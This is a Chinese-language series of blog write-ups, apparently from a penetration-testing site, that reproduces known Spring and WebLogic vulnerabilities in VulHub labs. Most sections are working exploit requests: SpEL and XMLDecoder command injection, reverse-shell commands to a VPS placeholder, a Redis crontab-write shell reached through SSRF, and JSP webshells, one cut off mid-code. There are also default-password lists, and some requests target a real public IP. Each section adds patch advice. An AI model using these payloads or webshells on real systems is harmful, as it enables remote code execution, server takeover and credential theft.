application/x-www-form-urlencodedContent-Length: 127Origin: http://103.116.46.7:8080Connection: closeReferer: http://103.116.46.7:8080/usersCookie: JSESSIONID=6F850A802C6E86AA7EC844A5CB119A79Upgrade-Insecure-Requests: 1username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping k1xchl.dnslog.cn")]=&password=&repeatedPassword= ​ 修复建议 2.0.x users should upgrade to 2.0.6 1.13.x users should upgrade to 1.13.11 Older versions should upgrade to a supported branch Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)漏洞概述Spring Cloud Gateway是Spring中的一个API网关.其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞.当 攻击者可以访问到 Spring Cloud Gateway actuator 端点时,攻击者可构造恶意请求,创建新路由,同时利用路由的filter功能注入spel表达式,从而造成表达式注入执行任意代码. 利用版本: 3.0.x < Spring Cloud Gateway < 3.0.7 3.1.x < Spring Cloud Gateway < 3.1.1 漏洞复现 服务启动后,访问http://your-ip:8080即可看到演示页面 发送如下数据包即可添加一个包含恶意SpEL表达式的路由 123456789101112131415161718192021POST /actuator/gateway/routes/new_result HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329{ "id": "new_result", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}" } }], "uri": "http://103.116.46.7:8080"} ​ 发送如下数据包应用刚添加的路由.这个数据包将触发SpEL表达式的执行 123456789101112POST /actuator/gateway/refresh HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 0 发送如下数据包即可查看执行结果 1234567891011GET /actuator/gateway/routes/new_result HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0 ​ 最后,发送如下数据包清理现场,删除所添加的路由 123456789DELETE /actuator/gateway/routes/new_result HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close ​ 再刷新下路由,可以看到已经无法访问了 1234567891011POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0 ​ ​ 修复建议 临时解决方案 如果不需要Actuator端点,可以通过management.endpoint.gateway.enable:false配置将其禁用 如果需要Actuator端点,则应使用Spring Security对其进行保护. 官方升级补丁 3.1.x版本用户及时升级到3.1.1+ 3.0.x版本用户及时升级到3.0.7+ Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)漏洞概述Spring Cloud Function 是基于 Spring Boot 的函数计算框架.该项目致力于促进函数为主的开发单元,它抽象出所有传输细节和基础架构,并提供一个通用的模型,用于在各种平台上部署基于函数的软件.在Spring Cloud Function 相关版本,存在SpEL表达式注入.恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL 表达式,最终执行任意命令,获取服务器权限 利用版本: 3.0.0 <= Spring Cloud Function <= 3.2.2 漏洞复现 服务启动后,执行curl http://103.116.46.7:8080/uppercase -H "Content-Type: text/plain" --data-binary test将会执行uppercase函数,将输入字符串转换成大写 发送如下数据包,spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行 1234567891011121314POST /functionRouter HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping vujr8z.dnslog.cn")Content-Type: text/plainContent-Length: 4test ​ 修复建议 受影响的组件更新至3.1.7、3.2.3安全版本. Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞(CVE-2022-22965)漏洞概述在JDK 9+上运行的Spring MVC或Spring WebFlux应用程序可能存在通过数据绑定执行远程代码(RCE)的漏洞. 该CVE-2022-22965是在Java 9的环境下,引入了class.module.classLoader,导致了CVE-2010-1622漏洞补丁的绕过,JDK9中存在可以绕过黑名单禁用的类,导致了这个漏洞. 利用版本: Spring Framework 5.3.X < 5.3.18 Spring Framework 5.2.X < 5.2.20 漏洞复现 访问http://103.116.46.7:8080/即可看到一个演示页面 发送如下数据包,即可修改目标的Tomcat日志路径与后缀,利用这个方法写入一个JSP文件,Payload如下,记得修改中文的地方以及IP 12345678910111213GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22密码%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=文件名&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closesuffix: %>//c1: Runtimec2: <%DNT: 1 ​ 访问写入的webshell文件 修复建议 升级Spring 版本,Spring 5.3.18 和 Spring 5.2.20 已经修复了这个问题 如果无法升级 Spring,可以配置 DataBinder 来禁止访问这些敏感字段. 在下面的代码中,在 Spring 的 ControllerAdvice 中,使用 @InitBinder 注解获取到 WebDataBinder 对象的引用,再使用 setDisallowedFields 方法设置禁止访问的字段,就可以避免产生这个漏洞. 1234567891011@ControllerAdvice@Order(Ordered.LOWEST_PRECEDENCE)public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"}; dataBinder.setDisallowedFields(denylist); }} Spring-security 认证绕过漏洞(CVE-2022-22978)漏洞概述当Spring-security使用 RegexRequestMatcher 进行权限配置,由于RegexRequestMatcher正则表达式配置权限的特性,正则表达式中包含”.”时,未经身份验证攻击者可以通过构造恶意数据包绕过身份认证. 利用版本 Spring Security 5.5.x < 5.5.7 Spring Security 5.6.x < 5.6.4 环境搭建12wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/spring/CVE-2022-22978-main.zip# IDEA运行 漏洞复现 访问http://127.0.0.1:9090/login 服务器启动后,浏览到http://127.0.0.1:9090/admin 可以看到会重定向到login页面 绕过:http://127.0.0.1:9090/admin%0a/ 修复建议目前,官方已发布可更新版本,建议用户及时更新: Spring Security 5.5.x 升级至 5.5.7 : https://github.com/spring-projects/spring-security/releases/tag/5.5.7https://github.com/spring-projects/spring-security/releases/tag/5.5.7 Spring Security 5.6.x 升级至 5.6.4 : https://github.com/spring-projects/spring-security/releases/tag/5.6.4https://github.com/spring-projects/spring-security/releases/tag/5.6.4","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Weblogic漏洞复现","path":"/2022/10/18/55971a3e/","content":"总字符数: 32.86K 代码: 5.72K, 文本: 7.90K 预计阅读时间: 59 分钟 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)漏洞概述WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017-10271,Oracle官方在2017年10月份发布了该漏洞的补丁,但没有公开漏洞细节,如果企业未及时安装补丁,存在被攻击的风险.对企业服务器发起了大范围远程攻击,对大量企业的服务器造成了严重威胁,受影响的版本: 10.3.6.0.0 12.1.3.0.0 12.2.1.1.0 12.2.1.2.0 漏洞复现攻击说明攻击者选定要攻击的目标主机后,将首先利用漏洞CVE-2017-3248进行攻击,无论是否成功,都将再利用CVE-2017-10271进行攻击.在每一次的攻击过程中,都是先针对Windows系统,再针对Linux系统.具体攻击流程如下: 利用 WebLogic 反序列化漏洞(CVE-2017-3248)调用 Linux 中的wget 下载shell脚本并调用Linux本地”/bin/bash”执行shell脚本.(shell脚本内容内定义了从远端下载执行watch-smartd挖矿程序控制细节) 利用 WebLogic 反序列化漏洞(CVE-2017-3248)调用 Windows 中的PowerShell进行样本下载和运行. 利用 WebLogic WLS 组件漏洞(CVE-2017-10271)调用 Linux 中的wget 下载shell脚本并调用Linux本地”/bin/bash”执行shell脚本. 利用 WebLogic WLS 组件漏洞(CVE-2017-10271)调用 Windows 中的 powershell 进行样本下载和恶意代码执行. 在此次的攻击事件中,CVE-2017-3248利用不成功,CVE-2017-10271则利用成功,从而导致了服务器被攻击者攻陷,进而在系统日志中留下了痕迹. 靶场搭建 直接在 Centos虚拟机基于 Vulhub 漏洞集成环境生成靶场. 进入 Vulhub 对应的漏洞路径下执行命令docker-compose up -d编译并运行靶场容器 docker ps查看端口下方修改了默认端口 访问http://192.168.2.188:7002/wls-wsat/CoordinatorPortType11,如果存在下图则说明或许存在漏洞 漏洞探测我们向服务器上传一个文件,如果上传并访问成功,证明存在此漏洞,将下方IP换掉 12345678910111213141516171819202122POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: YOUR-IP:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 */#Upgrade-Insecure-Requests: 1Content-Type: text/xmlContent-Length: 675<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"> <string>xmldecoder_vul_test</string></void><void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope> 反弹Shell步骤和上方一样,将payload换为写shell的 1234567891011121314151617181920212223<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i &gt;&amp; /dev/tcp/YOUR-VPS-IP/6666 0&gt;&amp;1</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope> 修复建议 临时解决方案 123456789101112# 根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复# 根据实际环境路径,删除WebLogic wls-wsat组件:rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.warrm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.warrm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat# 重启Weblogic域控制器服务# 停止服务DOMAIN_NAME/bin/stopWeblogic.sh# 启动服务DOMAIN_NAME/bin/startManagedWebLogic.sh# 删除以上文件之后,需重启WebLogic确认http://weblogic_ip/wls-wsat/ 是否为404页面. 官方补丁修复前往Oracle官网下载10月份所提供的安全补丁http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.htmlhttp://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)漏洞概述Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击. 影响版本: Oracle Weblogic Server10.3.6.0.0 Oracle Weblogic Server12.1.3.0.0 Oracle Weblogic Server12.2.1.2.0 Oracle Weblogic Server12.2.1.3.0 漏洞复现漏洞探测 使用namp查看目标主机是否启用T3协议 1nmap -p 7001 -T4 -A -v --script weblogic-t3-info 192.168.2.188 启动JRMP Server(监听1099) https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/ysoserial-0.0.6-SNAPSHOT-all.jarhttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/ysoserial-0.0.6-SNAPSHOT-all.jar java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping 0qie8z.dnslog.cn' 执行脚本 https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/CVE-2018-2628.pyhttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/CVE-2018-2628.py python2 CVE-2018-2628.py 192.168.2.188 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.2.107 1099 JRMPClient192.168.2.188:目标IP192.168.2.107:刚刚开启监听1099端口的主机IP\t查看监听状态 验证漏洞是否成功 反弹Shell步骤和上面一样,只需将ping更换为base64后的payload 123456bash -i >& /dev/tcp/192.168.43.220/1234 0>&1# 进行base64编码# 一会儿要用到base64编码后的shell,命令如下:bash -c {echo,YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzE5Mi4xNjguNDMuMjIwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-I}# 可以使用下面地址进行base64:# https://ares-x.com/tools/runtime-exec/ 修复建议 此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启.关闭T3服务,或控制T3服务的访问权限,能防护该漏洞.对于不在Oracle官方支持范围内的版本,由于没有最新补丁,推荐采用此种方式进行修复.同时,Weblogic采用黑名单的方式进行反序列化漏洞的修复,存在被绕过的风险,因此控制T3服务为防护Weblogic RMI这类反序列化漏洞的有效方式.控制T3服务方式: 进入Weblogic控制台,在base_domain的配置页面中,进入”安全”选项卡页面,点击”筛选器”,进入连接筛选器配置. 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 allow t3 t3s,0.0.0.0/0 deny t3 t3s(t3和t3s协议的所有端口只允许本地访问). 保存后需重新启动,规则方可生效. 更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本. 如以上两种策略都无法采用,则可以考虑用更改代码的方式.以10.3.6.0为例,在weblogic.utils.io.oif.WebLogicFilterConfig的黑名单DEFAULT_BLACKLIST_CLASS中添加java.rmi.server.RemoteObjectInvocationHandler,编译并更新swlclient.jar、wlthint3client.jar这两个用到该类的包 任意文件上传漏洞(CVE-2018-2894)漏洞概述Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台.该平台提供了中间件、软件集合等功能.Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件. WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限.两个页面分别为/ws_utc/begin.do,/ws_utc/config.do 漏洞复现 访问漏洞位置http://192.168.2.188:7004/ws_utc/config.do 获取账号密码docker-compose logs | grep password 访问http://192.168.2.188:7001/console/login/LoginForm.jsp登录后台管理员用户名为weblogic 点击base_domain的配置,在”高级”中开启”启用 Web 服务测试页”选项 访问http://192.168.44.132:7001/ws_utc/config.do 设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css静态文件css目录,访问这个目录是无需权限的 构造webshell 创建a.jsp内容如下请求:http://x.x.x.x/a.jsp?pwd=023&i=whoami 1<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> 然后点击Security-> Add,抓包,然后上传webshell因为weblogic使用了时间戳_文件名进行了重命名,时间戳在返回包中 然后访问http://192.168.2.188:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell 修复建议暂无 未授权RCE(CVE-2019-2725)漏洞概述CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过. 影响版本:weblogic 10.x、weblogic 12.1.3 存在/_async/AsyncResponseService接口 漏洞复现 访问/_async/AsyncResponseService接口,存在如下页面,即存在漏洞 attck-命令执行 123456789101112131415161718192021222324<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>ping tdjmtv.dnslog.cn</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope> 修复建议 升级本地JDK环境 及时安装官方补丁 未认证远程命令执行(CVE-2020-14882、CVE-2020-14883)漏洞概述Oracle WebLogic Server 是行业领先的应用服务器,用于使用 Java EE 标准构建企业应用程序,并将它们部署在可靠、可扩展的运行时上,并且拥有成本低. 在Oracle 重要补丁更新公告 - 2020 年 10 月中,Oracle 修复了 CVE-2020-14882 和 CVE-2020-14883 来自 Chaitin Tech 的安全研究员 @Voidfyoo 提交的两个安全漏洞. CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令.使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机. 漏洞复现 启动完成后,访问http://192.168.44.132:7001/console查看管理员控制台登录页面 使用此 URL 绕过 Console 组件的身份验证:http://192.168.44.132:7001/console/css/%252e%252e%252fconsole.portal 此时,因为是低权限用户,没有上传 webshell 的权限 第二个漏洞,CVE-2020-14883,有以下两种利用方式 com.tangosol.coherence.mvel2.sh.ShellSession 1. 访问:http://192.168.2.188:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20hzdjjb.dnslog.cn');") 2. 这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class com.tangosol.coherence.mvel2.sh.ShellSession com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更常见的漏洞利用,首次在 CVE-2019-2725 中引入,可用于任何 Weblogic 版本 1. 要利用FileSystemXmlApplicationContext制作一个 XML 文件并将其上传到可以访问的服务器上 2. 写入rce.xml 1234567891011121314<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[curl qi9nx2.dnslog.cn]]></value> </list> </constructor-arg> </bean></beans> python启动服务python3 -m http.server 8080 4. 访问`http://192.168.2.188:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")`Weblogic 将加载此 XML 并执行其中的命令 {% image https://wordpress-1258894728.cos.ap-beijing.myqcloud.com/202210172012676.png %} 5. 该漏洞利用的缺点是:它要求 Weblogic 服务器能够访问恶意 XML. 修复建议此次 Oracle 官方的 CPU已发布了针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新.及时更新补丁,参考oracle官网发布的补丁:注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆后,可以下载最新补丁 ssrf(CVE-2014-4210)漏洞概述Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理. Oracle Fusion Middleware 10.0.2.0和10.3.6.0版本的 Oracle WebLogic Server 组件中的 WLS - Web Services 子组件存在安全漏洞.远程攻击者可利用该漏洞读取数据,影响数据的保密性. 类型 描述 漏洞名称 Oracle WebLogic Server SSRF漏洞 威胁类型 SSRF 威胁等级 中 漏洞ID CVE-2014-4210 受影响系统及应用版本 weblogic 10.0.2 – 10.3.6 服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制.比如从指定URL地址获取网页文本内容、加载指定地址的图片、文档等等 漏洞复现SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源. 以下演示的 Weblogic中 靶场环境就是由于访问目标网站是的参数是 URL ,且在服务端验证请求时没有对用户请求做出严格的过滤以及限制,导致存在 SSRF 漏洞,可以获取服务器一定量的数据.同时可以进一步实现篡改获取的资源并发送给服务器,下面是通过 6379 端口访问服务器的 redis 服务,并篡改了 /etc/crontab下的信息,将反弹 Shell 的脚本写入了该目录下从而获得 Shell. 靶场搭建 直接在 Centos虚拟机基于 Vulhub 漏洞集成环境生成靶场. 进入 Vulhub 对应的漏洞路径下执行命令docker-compose up -d编译并运行靶场容器 docker ps查看端口 访问http://192.168.164.128:7001/uddiexplorer 端口探测SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,仔细查看发现这里有参数传入的是URL,差不多可以断定就是在这个点存在 SSRF 漏洞了 在 BurpSuite 下抓包测试该漏洞,查询请求的operator参数可以进行端口探测,当我们输入不同值时可得到多种不同的报错信息 通过docker inspect 容器ID 命令查看并确认 redis 服务的容器IP地址: 然后访问http://172.20.0.2:6379返回非 HTTP 协议的报错信息,是因为运行着 redis 服务 以上通过 SSRF漏洞探测内网中的 redis 服务器(docker环境的网段一般是172.*)可以通过写脚本或者BURP爆破内网服务,现在已经发现172.19.0.2:6379可以连通. 反弹Shell接下来就是发送三条 redis 命令,将反弹 shell 的脚本写入目录/etc/crontab(这个目录下是一个默认自动执行的一些 crontab 定时服务命令,里面都写的是一些开启服务的命令): 1234set 1 " 0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/YOUR-VPS-IP/6666 0>&1' "config set dir /etc/config set dbfilename crontabsave 命令分析: 命令行 释义 set 1 ... 设置变量”1”的value " 0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/YOUR-VPS-IP/6666 0>&1' " 调用定时任务去定时用root权限执行一个反弹shell,YOUR-VPS-IP为你的vps ip set dir /etc/ 建立一个工作目录 config set dbfilename crontab 创建一个RDB备份文件,文件名crontab;所有的RDB文件都会储存在etc/crontab下 Redis: 是一个key-value型数据库,信息以键对应值的关系储存在内存中,而它算不上是一个真正的数据库,因为 redis 是主要把信息数据存储在内存中(当然也可以把其存储在硬盘上,这也是写shell的必要条件之一).Redis将数据主要保存在内存中,我们可以随时执行save命令将当前的redis数据保存到硬盘上.另外redis也会根据配置自动存储数据到硬盘上,这不得不说到redis的 持久化运作方案,其中说到的一个RDB,一个AOF.RDB更像一个数据库备份文件,而AOF是一个log日志文件.我们可以设置让redis再指定时间、指定更改次数时进行备份,生成RDB文件;而设置AOF,可以在操作或时间过程后将”日志”写入一个文件的最末,当操作越来越多,则AOF文件越来越大.二者是相辅相成的,通过二者的配合我们能够稳定地持久地将数据存储于服务器上. 首先对以上三条 redis 命令进行 url 编码 VPS中监听端口nc -lvvp 6666 将下方中的YOUR-VPS-IP替换为你的VPS-IP 1%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2FYOUR-VPS-IP%2F6666%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa 成功反弹 可进行利用的cron有如下几个地方: /etc/crontab 这个是肯定的 /etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell. /var/spool/cron/root centos系统下root用户的cron文件 /var/spool/cron/crontabs/root debian系统下root用户的cron文件 修复方案目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接: https://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.htmlhttps://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html weak_password漏洞概述在weblogic搭建好之后没有修改进入后台的密码导致弱口令登录获得webshell 本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞.分别通过这两种漏洞,模拟对weblogic场景的渗透. Weblogic版本:10.3.6(11g) Java版本:1.6 漏洞复现暴力破解 访问:http://your-ip:7001/console进入后台 Weblogic常见弱口令总结 system:password weblogic:weblogic admin:secruity joe:password mary:password system:sercurity wlcsystem:wlcsystem weblogic:Oracle@123 访问后台登录地址,输入任意账号密码,Burpsuite抓包 设置Payload 任意文件读取本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件.那么,该漏洞如何利用? weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml; SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符.在burp里选中读取到的那一串乱码,这就是密钥,选中乱码右键copy to file就可以保存成一个文件,文件名:SerializedSystemIni.dat 下载密文brup抓包访问:http://192.168.2.188:7001/hello/file.jsp?path=security/SerializedSystemIni.dat 下载密钥获取 config.xml 的包,找到加密后的管理员密码http://192.168.2.188:7001/hello/file.jsp?path=config/config.xmlconfig.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码,不要找错了 解密然后进行解密工具地址: https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password/decrypthttps://github.com/vulhub/vulhub/tree/master/weblogic/weak_password/decrypt 可能遇到的问题,如果怎么解密都不对,那可能是返回包的编码不对,进行如下设置 如果出现以下情况可能是没有选中乱码进行copy to file 后台上传webshell获取到管理员密码后,登录后台.点击左侧的 Deployments,可见一个应用列表: 点击Install,选择”upload your file(s)” 上传war包.值得注意的是,我们平时tomcat用的war包不一定能够成功,你可以将你的webshell放到本项目的web/jiangjiyue.war这个压缩包中,再上传.上传成功后点下一步. 上传的war文件是将一句话写在 jiangjiyue.jsp 中,再将 jiangjiyue.jsp 压缩成 jiangjiyue.zip ,再将jiangjiyue.zip改名为 jiangjiyue.war. 一句话木马如下,密码为 pass <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new 